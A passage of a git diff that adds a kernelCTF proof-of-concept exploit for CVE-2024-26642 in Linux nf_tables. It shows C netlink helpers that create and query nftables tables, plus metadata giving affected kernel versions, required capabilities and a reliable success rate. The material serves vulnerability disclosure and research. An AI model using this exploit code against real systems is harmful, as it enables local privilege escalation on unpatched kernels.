NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} + +void get_table(struct nl_sock * socket, char *name){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETTABLE, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + nla_put_string(msg, NFTA_TABLE_NAME, name); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Get table %s\n",name); + } +} + +void new_table_with_udata(struct nl_sock * socket, char *name,char *udata, int len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + nla_put(msg2,NFTA_TABLE_USERDATA,len,udata); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/metadata.json b/pocs/linux/kernelctf/CVE-2024-26642_lts/metadata.json new file mode 100644 index 00000000..a24e62b4 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_lts/metadata.json @@ -0,0 +1,37 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v2.json", + "submission_ids":[ + "exp144" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=16603605b667b70da974bea8216c93e7db043bf1", + "cve":"CVE-2024-26642", + "affected_versions":[ + "6.1.35 - 6.1.83", + "5.15.121 - 5.15.153" + ], + "requirements":{ + "attack_surface":[ + + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NETFILTER", + "CONFIG_NF_TABLES" + ] + } + }, + "exploits":[ + { + "environment":"lts-6.1.78", + "uses":[ + "userns" + ], + "requires_seperate_kaslr_leak":false, + "stability_notes":"10 times success per 10 times run" + } + ] + + } diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/original.tar.gz b/pocs/linux/kernelctf/CVE-2024-26642_lts/original.tar.gz new file mode 100644 index 00000000..99cae629 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26642_lts/original.tar.gz differ